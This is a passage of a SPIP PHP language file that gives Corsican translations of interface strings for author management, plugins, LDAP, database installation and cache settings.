Certe funzioni richerenu un specìficu prucedimentu d’identificazione, è necessiteghjanu per forza un accessu FTP à u situ.</p>', # MODIF
'info_gauche_auteurs' => 'Truverete quì tutti l’autori di u situ.
U so statutu hè signalatu da u culore di l’icona (scrittore = giallu; amministratore = verde).',
'info_gauche_auteurs_exterieurs' => 'L’autori esterni, senza accessu à u situ, sò signalati da un’icona turchina ;
l’autori sguassati da una rumènzula.', # MODIF
'info_gauche_messagerie' => 'A messageria vi permette di scambià messagi trà scrittori, di tene vi certi mementi(à usu propriu persunale)
o di pubblicà annunci in a pàgina d’accogliu di u spaziu privatu (sè vo site amministratore).',
'info_gauche_numero_auteur' => 'AUTORE NÙMERU',
'info_gauche_statistiques_referers' => 'sta pàgina dà una lista di i <i>referers</i>, vale à dì i siti chì cuntenenu lee versu u vostru situ. Vale sta
lista solu per eri è oghje , chì Vene sviutata ogni 24 ore.',
'info_gauche_visiteurs_enregistres' => 'Truverete quì i visitori arregistrati in u spaziu pùbblicu di u situ (foru pè l’abbunati).',
'info_generation_miniatures_images' => 'Creazione di figurette da l’imàgini',
'info_gerer_trad' => 'Gestisce e lee di traduzzione?',
'info_hebergeur_desactiver_envoi_email' => 'Certi òspiti disattiveghjanu l’inviu autumàticu d’email
da i so servori. In stu casu, e seguenti funziunalità di SPIP ùn viaghjeranu più.',
'info_hier' => 'eri :',
'info_historique_activer' => 'Attivà a guardia di e revisioni',
'info_historique_affiche' => 'Vede sta versione',
'info_historique_comparaison' => 'paragonu',
'info_historique_desactiver' => 'Disattivà a guardia di e revisioni',
'info_historique_texte' => 'A gestione di e revisioni permette di tene una vistica di tutte e mudìfiche fatte à un artìculu, mustrendu ne e sferenze frà
e diverse versioni.',
'info_identification_publique' => 'A vostra identità pùbblica...',
'info_image_process' => 'Sceglite puru u mètudu preferitu per a creazione di e figurette clicchendu nant’à l’imàgine currispundente.',
'info_image_process2' => '<b>N.B.</b> <i>S’ella ùn vene nisun’imàgine, vole dì chì a cunfigurazione di u vostru servore ùn permette l’usu di tale
funzioni gràfiche. Sè vo vulete aduprà le quantunque, cuntattate u rispunsèvule tècnicu, dumandendu li di stallà l’estensioni "GD" o "Imagick".</i>', # MODIF
'info_images_auto' => 'Imàgini create in autumàticu',
'info_informations_personnelles' => 'Infurmazioni persunale',
'info_inscription_automatique' => 'Iscrizzione autumàtica di nuvelli scrittori',
'info_jeu_caractere' => 'Ghjocu di caràtteri di u situ',
'info_jours' => 'ghjorni',
'info_laisser_champs_vides' => 'lascià sti campi vioti)',
'info_langues' => 'Lingua di u situ',
'info_ldap_ok' => 'Hè stallata l’autentificazione LDAP.',
'info_lien_hypertexte' => 'Lea ipertestu :',
'info_liste_nouveautes_envoyee' => 'Hè stata mandata a lista di e nuvità.
',
'info_liste_redacteurs_connectes' => 'Lista di i scrittori cunnessi',
'info_login_existant' => 'Stu login esiste digià.',
'info_login_trop_court' => 'Login troppu cortu.',
'info_logos' => 'I logo',
'info_maximum' => 'màsimu :',
'info_meme_rubrique' => 'In a listessa rùbrica',
'info_message' => 'Messagiu di u ',
'info_message_efface' => 'MESSAGIU SGUASSATU',
'info_message_en_redaction' => 'I vostri messagi in corsu di scrittura',
'info_message_technique' => 'Messagiu tècnicu :',
'info_messagerie_interne' => 'Sistema di messageria interna',
'info_mise_a_niveau_base' => 'Aghjurnamentu di a basa di dati SQL',
'info_mise_a_niveau_base_2' => '{{Attenti!}} Hè stata stallata una versione
di i schedari di SPIP {anteriore} di pettu à quella chì era in usu per stu situ :
Ci hè u rìsicu chì a vostra basa di dati sia persa è chì u vostru situ sia scundisatu.<br />{{Ristallà i schedari di SPIP.}}',
'info_modification_enregistree' => 'Hè stata arregistrata a vostra mudìfica',
'info_modifier_auteur' => 'Mudificà l’autore :',
'info_modifier_rubrique' => 'Mudificà a rùbbrica :',
'info_modifier_titre' => 'Mudificà : @titre@',
'info_mon_site_spip' => 'U mo situ SPIP',
'info_mot_sans_groupe' => '(Segni senza gruppu...)',
'info_moteur_recherche' => 'Mutore di ricerca integratu',
'info_moyenne' => 'media : ',
'info_multi_articles' => 'Attivà u menù di lingua pè l’artìculi ?',
'info_multi_cet_article' => 'Lingua di st’artìculu :',
'info_multi_langues_choisies' => 'Sceglite puru avanti e lingue disposte à i scrittori di u situ.
E lingue digià aduprate in u situ (venenu e prime) ùn ponu esse disattivate.',
'info_multi_rubriques' => 'Attivà u menù di lingua pè e rùbbriche ?',
'info_multi_secteurs' => '... solu per e rùbriche cullucate à a {ràdica} di u situ ?',
'info_nb_articles' => '@nb@ artìculi',
'info_nb_auteurs' => '@nb@ autori',
'info_nb_messages' => '@nb@ messagi',
'info_nb_rubriques' => '@nb@ rùbriche',
'info_nb_sites' => '@nb@ siti',
'info_nb_visiteurs' => '@nb@ visitori',
'info_nom' => 'Nome',
'info_nom_destinataire' => 'Nome di u destinatariu',
'info_nom_site' => 'Nome di u vostru situ',
'info_nombre_articles' => '@nb_articles@ artìculi,',
'info_nombre_partcipants' => 'PARTICIPANTI À A RAGIUNATA :',
'info_nombre_rubriques' => '@nb_rubriques@ rùbriche,',
'info_nombre_sites' => '@nb_sites@ siti, ',
'info_non_deplacer' => 'Ùn spiazzà micca...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP pò mandà à colpi regulari annunci riguardu à l’ùltime nuvità di u situ
(artìculi è dispacci pubblicati di pocu).',
'info_non_envoi_liste_nouveautes' => 'Ùn mandà micca a lista di e nuvità',
'info_non_modifiable' => 'ùn pò esse mudificatu',
'info_non_suppression_mot_cle' => 'ùn vogliu micca sguassà segnu.',
'info_note_numero' => 'Nota @numero@',
'info_notes' => 'Note',
'info_nouveaux_message' => 'Nuvelli messagi',
'info_nouvel_article' => 'Nuvellu artìculu',
'info_nouvelle_traduction' => 'Nuvella traduzzione :',
'info_numero_article' => 'ARTÌCULU NÙMERU :',
'info_obligatoire_02' => '[Ubbligatoriu]', # MODIF
'info_option_accepter_visiteurs' => 'Accettà l’iscrizzione di visitori di u situ pùbblicu',
'info_option_faire_suivre' => 'Signalà i novi messagi à l’autori dil’artìculi',
'info_option_ne_pas_accepter_visiteurs' => 'Rifiutà l’iscrizzione di i visitori',
'info_options_avancees' => 'OPZIONI AVANZATE ',
'info_ortho_activer' => 'Attivà a verìfica urtugràfica',
'info_ortho_desactiver' => 'Disattivà a verìfica urtugràfica',
'info_ou' => 'o... ',
'info_page_interdite' => 'Pagina riservata',
'info_par_nom' => 'per nome',
'info_par_nombre_article' => 'per numeru d’artìculi',
'info_par_statut' => 'per statutu',
'info_par_tri' => '’(per @tri@)’',
'info_passe_trop_court' => 'Parola secreta troppu corta.', # MODIF
'info_passes_identiques' => 'E duie parole secrete ùn sò listesse.',
'info_pense_bete_ancien' => 'I vostri mementi vechji', # MODIF
'info_plus_cinq_car' => 'più di 5 caràtteri',
'info_plus_cinq_car_2' => '(Più di 5 caràtteri)',
'info_plus_trois_car' => '(Più di 3 caràtteri)',
'info_popularite' => 'pupularità : @popularite@ ; vìsite : @visites@',
'info_popularite_4' => 'pupularità : @popularite@ ; vìsite : @visites@',
'info_post_scriptum' => 'Post-Scriptum',
'info_post_scriptum_2' => 'Post-Scriptum :',
'info_pour' => 'per',
'info_preview_admin' => 'Solu l’amministratori ponu vede u situ in antìcipu',
'info_preview_comite' => 'Tutti i scrittori ponu vede u situ in antìcipu',
'info_preview_desactive' => 'A vista in antìcipu di u situ hè propriu disattivata',
'info_preview_texte' => 'Hè pussìbule avè una vista in antìcipu di u situ cù tutti l’artìculi è i dispacci "pruposti" per a pubblicazione. Sta pussibulità
deve esse attivata solu pè l’amministratori, à tutti i scrittori o puru disattivata.',
'info_principaux_correspondants' => 'I currispundenti principali',
'info_procedez_par_etape' => 'avanzà un passu dopu l’altru',
'info_procedure_maj_version' => 'Deve esse lanciatu a l’aghjurnamentu pè addattà a basa di dati à a nova versione di SPIP.',
'info_proxy_ok' => 'Prova di u proxy riesciuta.',
'info_ps' => 'P.S.',
'info_publier' => 'pubblicà',
'info_publies' => 'I vostri artìculi pubblicati',
'info_question_accepter_visiteurs' => 'Sè i mudelli di pàgina di u vostru situ privedenu l’arregistramentu d’utilizatori senza accessu à u spaziu privatu,
attivate puru a funziunalità quì sottu :',
'info_question_inscription_nouveaux_redacteurs' => 'Accettate l’iscrizzioni di nuvelli scrittori
da u situ pùbblicu ? In stu casu, i visitori si puderanu iscrive usendu un furmulariu autumàticu
è accede tandu à u spaziu privatu per prupone i so propri artìculi.
<blockquote><i>Durante l’iscrizzione, l’utilizatori ricevenu un email in autumàticu
chì li furnisce i so còdici d’accessu à u situ privatu. Certi
òspiti disattiveghjanu l’inviu d’email da i so propri servori : in stu casu, vene impussìbule l’iscrizzione autumàtica.', # MODIF
'info_question_utilisation_moteur_recherche' => 'vulete aduprà u mutore di ricerca integratu di SPIP ?
(disattivu vene acceleratu u funziunamentu di u sistema)',
'info_question_vignettes_referer_non' => 'Ùn vede micca a cattura di screnu di i siti d’orìgine di e vìsite',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Ràdica di u situ',
'info_recharger_page' => 'Aghjurnate sta pàgina da quì à un minutu.',
'info_recherche_auteur_a_affiner' => 'Troppu risultati per "@cherche_auteur@"; precisate puru a ricerca.',
'info_recherche_auteur_ok' => 'Parechji scrittori trovi per "@cherche_auteur@" :',
'info_recherche_auteur_zero' => 'Nisun risultatu per "@cherche_auteur@".',
'info_recommencer' => 'Ricumincià.',
'info_redacteur_1' => 'Scrittori',
'info_redacteur_2' => 'avendu accessu à u spaziu privatu (<i>cunsigliatu</i>)',
'info_redacteurs' => 'Scrittori',
'info_redaction_en_cours' => 'IN CORSU DI REDAZZIONE',
'info_redirection' => 'Rindirizzamentu',
'info_refuses' => 'I to artìculi rifiutati',
'info_reglage_ldap' => 'Opzioni : <b>Paràmetri per l’impurtazione LDAP</b>',
'info_renvoi_article' => '<b>Rindirizzamentu.</b> St’artìculu rimanda à a pàgina :',
'info_reserve_admin' => 'Solu l’amministratori ponu mudificà st’indirizzu.',
'info_restreindre_rubrique' => 'Limità a gestione à a rùbbrica :',
'info_resultat_recherche' => 'Risultati di a ricerca :',
'info_rubriques' => 'Rùbriche',
'info_rubriques_02' => 'rùbriche',
'info_rubriques_trouvees' => 'Rùbriche trove',
'info_rubriques_trouvees_dans_texte' => 'Rùbriche trove (ricerca in u testu)',
'info_sans_titre' => 'Senza tìtulu',
'info_selection_chemin_acces' => '<b>Sceglite</b> quì sottu u percorsu d’accessu in l’annuariu :',
'info_signatures' => 'zifre',
'info_site' => 'Situ',
'info_site_2' => 'situ : ',
'info_site_min' => 'situ',
'info_site_reference_2' => 'Situ riferitu',
'info_site_web' => 'SITU WEB :', # MODIF
'info_sites' => 'siti',
'info_sites_lies_mot' => 'I siti riferiti alleati à stu segnu',
'info_sites_proxy' => 'Aduprà un proxy',
'info_sites_trouves' => 'Siti trovi',
'info_sites_trouves_dans_texte' => 'Siti trovi (in u testu)',
'info_sous_titre' => 'Sottutìtulu :',
'info_statut_administrateur' => 'Amministratore',
'info_statut_auteur' => 'Statutu di st’autore :',
'info_statut_auteur_2' => 'Eo sò',
'info_statut_auteur_a_confirmer' => 'Iscrizzione da cunfirmà',
'info_statut_auteur_autre' => 'Altru statutu :',
'info_statut_efface' => 'Sguassatu',
'info_statut_redacteur' => 'Scrittore',
'info_statut_utilisateurs_1' => 'Statutu predefinitu di l’utilizatori impurtati',
'info_statut_utilisateurs_2' => 'Sceglite u statutu da attribuisce à e persone presenti in l’annuariu LDAP quandu pè a prima volta si cunnettenu.
Puderete in sèguitu mudificà stu paràmetru per ogni sìngulu autore.',
'info_suivi_activite' => 'Guardia di l’attività editoriale',
'info_surtitre' => 'Sopratìtulu :',
'info_syndication_integrale_1' => 'U vostru situ prupone schedari di sindicazione (vede « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Vulete trasmette l’artìculi in versione sana sana o solu un riassuntu d’una centinaia di caràtteri ?',
'info_table_prefix' => 'Pudete puru mudificà u prefissu di u nome di e tàvule di a basa di dati (hè ancu indispensèvule sè vo vulete stallà parechji siti
in listessa basa di dati). Stu prefissu deve esse scrittu in lèttere minùscule, senza aletta nè spaziu.',
'info_taille_maximale_images' => 'SPIP hà da calculà a taglia màsima di l’imàgini ch’ellu pò manighjà (in millioni di pixel).<br />
L’imàgini di taglia maiò ùn seranu micca ridotte.',
'info_taille_maximale_vignette' => 'Taglia màsima di e figurette create da u sistema :',
'info_terminer_installation' => 'Avà pudete puru compie a prucedura di stallazione standard.',
'info_texte' => 'Testu',
'info_texte_explicatif' => 'Testu spiecativu',
'info_texte_long' => '(u testu hè longu : perciò vene appezzatu ma serà ricustituitu dopu a cunvalidazione)',
'info_texte_message' => 'Testu di u messagiu :', # MODIF
'info_texte_message_02' => 'Testu di u messagiu',
'info_titre' => 'Tìtulu :',
'info_total' => 'tutale : ',
'info_tous_articles_en_redaction' => 'Tutti l’artìculi in corsu di scrittura',
'info_tous_articles_presents' => 'Tutti l’artìculi pubblicati in sta rùbrica',
'info_tous_les' => 'tutti i:',
'info_tous_redacteurs' => 'Annunci à tutti i scrittori',
'info_tout_site' => 'Tuttu u situ',
'info_tout_site2' => 'L’artìculu ùn hè statu traduttu in sta lingua.',
'info_tout_site3' => 'L’artìculu hè statu traduttu in sta lingua, ma sò state fatte unepoche di mudìfiche à l’artìculu di riferenza. A traduzzione deve
dunque esse aghjurnata.',
'info_tout_site4' => 'L’artìculu hè statu traduttu in sta lingua è a traduzzione hè aghjurnata.',
'info_tout_site5' => 'Artìculu uriginale.',
'info_tout_site6' => '<b>Attenti :</b> si ponu vede solu l’artìculi uriginali.
E traduzzioni sò assuciate à l’uriginale, è un culore indetta u so statu :',
'info_traductions' => 'Traduzzioni',
'info_travail_colaboratif' => 'Travagliu di messa in cumunu pè l’artìculi',
'info_un_article' => 'un artìculu, ',
'info_un_site' => 'un situ, ',
'info_une_rubrique' => 'una rùbrica, ',
'info_une_rubrique_02' => '1 rùbrica',
'info_url' => 'URL :',
'info_url_proxy' => 'URL di u proxy',
'info_url_site' => 'URL DI U SITU :',
'info_url_test_proxy' => 'URL di prova',
'info_urlref' => 'Lea ipertestu :',
'info_utilisation_spip' => 'Avà pudete puru principià à aduprà u sistema di pubblicazione assistita...',
'info_visites_par_mois' => 'Vede mese per mese :',
'info_visiteur_1' => 'Visitori',
'info_visiteur_2' => 'di u situ pùbblicu',
'info_visiteurs' => 'Visitori',
'info_visiteurs_02' => 'Visitori di u situ pùbblicu',
'install_adresse_base_hebergeur' => 'Indirizzu di a basa di dati attribuitu da l’òspite',
'install_base_ok' => 'A basa di dati @base@ hè stata ricunnisciuta',
'install_echec_annonce' => 'A stallazione hà da fiascà o compie cagiunendu à u situ prublemi di funziunamenti ...',
'install_extension_mbstring' => 'SPIP ùn funziona micca cù :',
'install_extension_php_obligatoire' => 'SPIP esige l’estensione php :',
'install_login_base_hebergeur' => 'Login di cunnessione attribuitu da l’òspite',
'install_nom_base_hebergeur' => 'Nome di a basa di dati attribuitu da l’òspite :',
'install_pas_table' => 'Basa di dati attualmente senza tàvule',
'install_pass_base_hebergeur' => 'Password di cunnessione attribuitu da l’òspite',
'install_php_version' => 'PHP versione @version@ ùn basta (mìnimu = @minimum@)',
'install_select_langue' => 'Sceglite una lingua è poi cliccate nant’à « In avanti » per lancià u prucedimentu di stallazione.',
'install_select_type_db' => 'Indettà u tippu di basa di dati :',
'install_select_type_mysql' => 'MySQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Servore di basa di dati attribuitu da l’òspite',
'install_table_prefix_hebergeur' => 'Prefissu di a tàvula attribuitu da l’òspite :',
'install_tables_base' => 'Tàvula di a basa di dati',
'install_types_db_connus' => 'SPIP pò aduprà <b>MySQL</b> (u più spartu), <b>PostgreSQL</b> e <b>SQLite</b>.', # MODIF
'install_types_db_connus_avertissement' => 'Attenti : Assai plugins viaghjanu solu cù MySQL', # MODIF
'intem_redacteur' => 'scrittore',
'intitule_licence' => 'Licenza',
'item_accepter_inscriptions' => 'Accettà l’iscrizzioni',
'item_activer_messages_avertissement' => 'Attivà i messagi d’avertimentu',
'item_administrateur_2' => 'amministratore',
'item_afficher_calendrier' => 'Pubblicà in l’almanaccu',
'item_autoriser_documents_joints' => 'Auturizà i ducumenti alleati à l’artìculi',
'item_autoriser_documents_joints_rubriques' => 'Auturizà i ducumenti alleati à e rùbbriche',
'item_autoriser_syndication_integrale' => 'Sparghje a versione sana sana di l’artìculi in i schedari di sindicazione',
'item_choix_administrateurs' => 'l’amministratori',
'item_choix_generation_miniature' => 'Creà in autumàticu e figurette di l’imàgini.',
'item_choix_non_generation_miniature' => 'Ùn creà micca e figurette di l’imàgini.',
'item_choix_redacteurs' => 'i scrittori',
'item_choix_visiteurs' => 'i visitori di u situ pùbblicu',
'item_creer_fichiers_authent' => 'Creà i schedari .htpasswd',
'item_limiter_recherche' => 'Limità a ricerca à l’infurmazioni cuntenute in u vostru situ',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Attivà a messageria è l’agenda',
'item_mots_cles_association_articles' => 'à l’artìculi',
'item_mots_cles_association_rubriques' => 'à e rùbriche',
'item_mots_cles_association_sites' => 'à i siti riferiti o sindicati.',
'item_non' => 'Innò',
'item_non_accepter_inscriptions' => 'Ùn accettà micca l’iscrizzioni',
'item_non_activer_messages_avertissement' => 'Nisun messagiu d’avertimentu',
'item_non_afficher_calendrier' => 'Ùn pubblicà in l’almanaccu',
'item_non_autoriser_documents_joints' => 'Ùn auturizà i ducumenti alleati in l’artìculi',
'item_non_autoriser_documents_joints_rubriques' => 'Ùn auturizà i ducumenti alleati in e rùbbriche',
'item_non_autoriser_syndication_integrale' => 'Sparghje solu un riassuntu',
'item_non_compresseur' => 'Disattivà a cumpressione',
'item_non_creer_fichiers_authent' => 'Ùn creà micca sti schedari',
'item_non_gerer_statistiques' => 'Ùn gestisce micca e statìstiche',
'item_non_limiter_recherche' => 'Allargà e ricerca à u cuntenutu di i siti in sindicazione',
'item_non_messagerie_agenda' => 'Disattivà a messageria è l’agenda',
'item_non_publier_articles' => 'Ùn pubblicà micca l’àrtìculi prima di a data imposta.',
'item_non_utiliser_moteur_recherche' => 'Ùn aduprà micca u mutore di ricerca',
'item_nouvel_auteur' => 'Nuvellu autore',
'item_nouvelle_rubrique' => 'Nuvella rùbrica',
'item_oui' => 'Iè',
'item_publier_articles' => 'Pubblicà l’artìculi qualsìasi a data di pubblicazione.',
'item_reponse_article' => 'Risposta à l’artìculu ',
'item_utiliser_moteur_recherche' => 'Aduprà u mutore di ricerca',
'item_version_html_max_html5' => 'Permette HTML5',
'item_visiteur' => 'visitore',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'label_choix_langue' => 'Sceglite a vostra lingua',
'lien_ajout_destinataire' => 'Aghjunghje u dstinatariu',
'lien_ajouter_auteur' => 'Aghjunghje sy’autore',
'lien_ajouter_participant' => 'Aghjunghje un participante',
'lien_ajouter_une_rubrique' => 'Aghjunghje sta rùbrica',
'lien_email' => 'email',
'lien_nom_site' => 'NOME DI U SITU :',
'lien_retirer_auteur' => 'Sguassà l’autore',
'lien_retirer_rubrique' => 'Toglie a rùbrica',
'lien_retirer_tous_auteurs' => 'Toglie tutti l’autori',
'lien_retirer_toutes_rubriques' => 'Toglie tutte e rùbriche',
'lien_retrait_particpant' => 'caccià stu participante',
'lien_site' => 'situ',
'lien_supprimer_rubrique' => 'sguassà a rùbrica',
'lien_tout_deplier' => 'Tuttu spalancà',
'lien_tout_replier' => 'Tuttu chjode',
'lien_tout_supprimer' => 'Tuttu sguassà',
'lien_trier_nom' => 'Urdinà per nome',
'lien_trier_nombre_articles' => 'Urdinà per quantità d’artìculi',
'lien_trier_statut' => 'Urdinà per statutu',
'lien_voir_en_ligne' => 'VEDE IN LIGNA :',
'logo_article' => 'LOGO DI L’ARTÌCULU', # MODIF
'logo_auteur' => 'LOGO DI L’AUTORE', # MODIF
'logo_rubrique' => 'LOGO DI A RÙBBRICA', # MODIF
'logo_site' => 'LOGO DI STU SITU ', # MODIF
'logo_standard_rubrique' => 'LOGO STANDARD DI E RÙBBRICHE', # MODIF
'logo_survol' => 'LOGO PER U ROLLOVER', # MODIF
// M
'menu_aide_installation_choix_base' => 'Sceglite a basa di dati',
'module_fichier_langue' => 'Schedariu di lingua',
'module_raccourci' => 'Accurtatoghju',
'module_texte_affiche' => 'Testu chì si vede',
'module_texte_explicatif' => 'Pudete puru inserisce i seguenti accurtatoghji in i mudelli di u vostru situ pùbblicu.
Seranu tradutti in autumàticu in e diverse lingue, basta ch’ellu esisti digià un schedariu di lingua.',
'module_texte_traduction' => 'Hè dispunìbule u schedariu di lingua «@module@» in :',
'mois_non_connu' => 'scunnisciutu',
// N
'nouvelle_version_spip' => 'Hè dispunìbule a versione @version@ di SPIP',
// O
'onglet_contenu' => 'Cuntenutu',
'onglet_declarer_une_autre_base' => 'Dichjarà un’altra basa di dati',
'onglet_discuter' => 'Ragiunà',
'onglet_documents' => 'Ducumenti',
'onglet_interactivite' => 'Interattività',
'onglet_proprietes' => 'Pruprietà',
'onglet_repartition_actuelle' => 'attualmente',
'onglet_sous_rubriques' => 'Sotturùbriche',
// P
'page_pas_proxy' => 'Sta pàgina ùn deve passà per u proxy',
'pas_de_proxy_pour' => 'Sè bisogna, indettate puru i servori o i dumini per chì ùn deve esse impiecatu stu proxy (per esempiu : @exemple@)',
'plugin_charge_paquet' => 'Caricamentu di u pacchettu @name@',
'plugin_charger' => 'Scaricà',
'plugin_erreur_charger' => 'errore : impussìbule di caricà @zip@',
'plugin_erreur_droit1' => 'U cartulare <code>@dest@</code> ùn hà i diritti di scrittura.',
'plugin_erreur_droit2' => 'Verificate puru i diritti pè stu cartulare (è sè bisogna, create lu), o stallate i schedari cù FTP.',
'plugin_erreur_zip' => 'fiascu pclzip : errore @status@',
'plugin_etat_developpement' => 'in corsu di sviluppu',
'plugin_etat_experimental' => 'sperimentale',
'plugin_etat_stable' => 'stàbbile',
'plugin_etat_test' => 'in prova',
'plugin_impossible_activer' => 'Impussìbule d’attivà u plugin @plugin@',
'plugin_info_automatique1' => 'Sè vo vulete auturizà a stallazione autumàtica di i plugins : ',
'plugin_info_automatique1_lib' => 'Sè vo vulete permette a stallazione autumàtica di sta libreria :',
'plugin_info_automatique2' => 'create puru un cartulare <code>@rep@</code>;',
'plugin_info_automatique3' => 'verificate chì u servore abbia i diritti di scrittura in stu cartulare.',
'plugin_info_automatique_creer' => 'da creà à a ràdica di u situ.',
'plugin_info_automatique_exemples' => 'esempi :',
'plugin_info_automatique_ftp' => 'Pudete puru stallà plugins cù FTP, in u cartulare <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Certi plugins richerenu ancu di pudè trasferisce schedari versu u cartulare <code>lib/</code>, da creà, sè bisogna, à a
ràdica di u situ.',
'plugin_info_automatique_liste' => 'I vostri plugins :',
'plugin_info_automatique_liste_officielle' => 'i plugins ufficiali',
'plugin_info_automatique_liste_update' => 'Aghjurnà e liste',
'plugin_info_automatique_ou' => 'o puru ...',
'plugin_info_automatique_select' => 'Sceglie quì sottu un plugin : SPIP u scaricherà, poi u stallerà in u cartulare <code>@rep@</code>.
S’ellu ci era digià, serà aghjurnata.',
'plugin_info_install_ok' => 'Stallazione andata à bon’fine',
'plugin_info_necessite' => 'Bisogna :',
'plugin_info_plugins_dist_1' => 'I plugins quì sottu sò caricati è attivati in u schedariu @plugins_dist@.',
'plugin_info_plugins_dist_2' => 'Ùn si ponu disattivà.',
'plugin_info_telecharger' => 'da scaricà da @url@ è da stallà in @rep@',
'plugin_info_upgrade_ok' => 'Aghjurnamentu riesciutu',
'plugin_librairies_installees' => 'Librerie stallate',
'plugin_necessite_lib' => 'Stu plugin richere a libreria @lib@',
'plugin_necessite_plugin' => 'Richere u plugin @plugin@ cù omancu a versione @version@.',
'plugin_necessite_plugin_sans_version' => 'Richere u plugin @plugin@',
'plugin_necessite_spip' => 'Richere SPIP cù omancu a versione @version@.',
'plugin_source' => 'urìgine: ',
'plugin_titre_automatique' => 'Stallazione autumàtica',
'plugin_titre_automatique_ajouter' => 'Aghjunghje plugins',
'plugin_zip_active' => 'Continuà per attivà lu',
'plugin_zip_adresse' => 'rinsignate quì sottu l’indirizzu di un schedariu-zip d’un plugin da scaricà, o puru l’indirizzu d’una lista di plugins.',
'plugin_zip_adresse_champ' => 'Indirizzu di u plugin o di a lista ',
'plugin_zip_content' => 'Cuntene i seguenti schedari (@taille@),<br />pronti à esse stallati in u cartulare <code>@rep@</code>',
'plugin_zip_installe_finie' => 'U schedariu @zip@ hè statu scumpressu è stallatu.',
'plugin_zip_installe_rep_finie' => 'U schedariu @zip@ hè statu scumpressu è stallatu in u cartulare @rep@',
'plugin_zip_installer' => 'Avà u pudete puru stallà.',
'plugin_zip_telecharge' => 'U schedariu @zip@ hè statu scaricatu',
'plugins_actif_aucun' => 'Nisun plugin attivu.',
'plugins_actif_un' => 'Un plugin attivu.',
'plugins_actifs' => '@count@ plugins attivati.',
'plugins_actifs_liste' => 'Attivi',
'plugins_compte' => '@count@ plugins',
'plugins_disponible_un' => 'Un plugin dispunìbule.',
'plugins_disponibles' => '@count@ plugin dispunìbuli.',
'plugins_erreur' => 'Errore in i plugins : @plugins@',
'plugins_liste' => 'Lista di i plugins',
'plugins_liste_dist' => 'Plugins chjosi',
'plugins_recents' => 'Plugins creati di pocu.',
'plugins_tous_liste' => 'Tutti',
'plugins_vue_hierarchie' => 'Ierarchia',
'plugins_vue_liste' => 'Lista',
'protocole_ldap' => 'Versione di u protocollu :',
// R
'repertoire_plugins' => 'Cartulare :',
// S
'sans_heure' => 'Senza l’ore',
'statut_admin_restreint' => '(ammin parziale)', # MODIF
// T
'taille_cache_image' => 'L’imàgini create in autumàticu da SPIP (figurette di i ducumenti, tìtuli in furmatu gràficu,
funzioni matemàtiche in furmatu TeX...) occupanu in u cartulare @dir@ in tuttu @taille@.',
'taille_cache_infinie' => 'Stu situ ùn hà limitazione pè a taglia di u cartulare di cache.',
'taille_cache_maxi' => 'SPIP a si prova à limità a taglia di u cartulare di cache di stu situ, à pocu pressu à <b>@octets@</b> di dati.',
'taille_cache_octets' => 'U cartulare di cache occupa attualmente @octets@ nant’à u discu.', # MODIF
'taille_cache_vide' => 'U cache hè viotu.',
'taille_repertoire_cache' => 'Taglia di u cartulare di cache',
'text_article_propose_publication' => 'Artìculu prupostu per a pubblicazione.',
'texte_acces_ldap_anonyme_1' => 'Certi servori LDAP ùn accettanu nisun accessu anònimu. In stu casu, si deve specificà
un còdice d’accessu iniziale di modu à pudè dopu ricircà infurmazioni in l’annuariu.
Ma sia cum’ella sia, i seguenti campi puderanu esse lasciati vioti.',
'texte_admin_effacer_01' => 'Sta cumanda sguassa u cuntenutu <i>sanu sanu</i> di a basa di dati,
compresi <i>tutti</i> i login di i scrittori è amministratori. Dopu avè la eseguita, vi tuccherà à rilancià a prucedura di stallazione
per turnà à creà una nova basa di dati è un primu ID amministrativu.',
'texte_adresse_annuaire_1' => '(S’ellu hè stallatu l’annuariu nant’à listessa màcchina chè stu situ web, à colpu sicuru deve esse "localhost".)',
'texte_ajout_auteur' => 'Hè statu aghjuntu à l’artìculu u seguente autore :',
'texte_annuaire_ldap_1' => 'Sè vo avete accessu à un annuariu (LDAP), u pudete puru aduprà da impurtà in autumàticu utilizatori sottu SPIP.',
'texte_article_statut' => 'St’artìculu hè :',
'texte_article_virtuel' => 'Artìculu virtuale',
'texte_article_virtuel_reference' => '<b>Artìculu virtuale :</b> artìculu riferitu in u vostru situ SPIP, ma rindirizzatu versu un’altru URL.
Per caccià u rindirizzamentu, sguassate puru l’URL quì sopra.',
'texte_aucun_resultat_auteur' => 'Nisun risultatu per "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Stu situ vi pò furnisce in permanenza a lista di i scrittori cunnessi, cusì vi permette
di scambià messagi in tempu reale. Pudete puru decide d’ùn cumparisce micca in quella lista (vale à dì
chì state invisìbule da l’altri utilizatori).',
'texte_auteur_messagerie_1' => 'Stu situ permette u scambiu di messagi è a custituzione di fori di discussione privati trà i participanti di u situ.
Pudete puru decide d’ùn participà micca à issi scambi.',
'texte_auteurs' => 'L’AUTORI',
'texte_choix_base_1' => 'Sceglite a basa di dati :',
'texte_choix_base_2' => 'U servore SQL cuntene parechje base di dati.',
'texte_choix_base_3' => '<b>Sceglite</b> quella ch`vi hè stata attribuita da u vostru òspite :',
'texte_choix_table_prefix' => 'Prefissu di e tàvule :',
'texte_commande_vider_tables_indexation' => 'Aduprà sta cumanda pè sviutà e tàvule d’indizzazione usate da u mutore di ricerca
integratu à SPIP. Cusì vincerebbe spaziu discu.',
'texte_compresse_ou_non' => '(pò esse cumpressu o micca)',
'texte_compte_element' => '@count@ elementu',
'texte_compte_elements' => '@count@ elementi',
'texte_conflit_edition_correction' => 'Cuntrullate puru quì sottu e sferenze trà e duie versioni di u testu ; pudete dinù ancu cupià
e vostre mudìfiche, è poi riprincipià.',
'texte_connexion_mysql' => 'Cunsultate puru l’infurmazioni furnite da u vostru òspite : Ci deve esse u servore di basa di dati è i vostri còdici persunali
da pudè ci accede.',
'texte_contenu_article' => '(Cuntenutu di l’artìculu in qualchì parulla.)',
'texte_contenu_articles' => 'Secondu u mudellu sceltu per u vostru situ, pudete puru decide chì certi elementi di l’artìculi ùn sò da usà.
Aduprate puru a lista quì sottu per rinsignà qualessi sò dispunìbuli.',
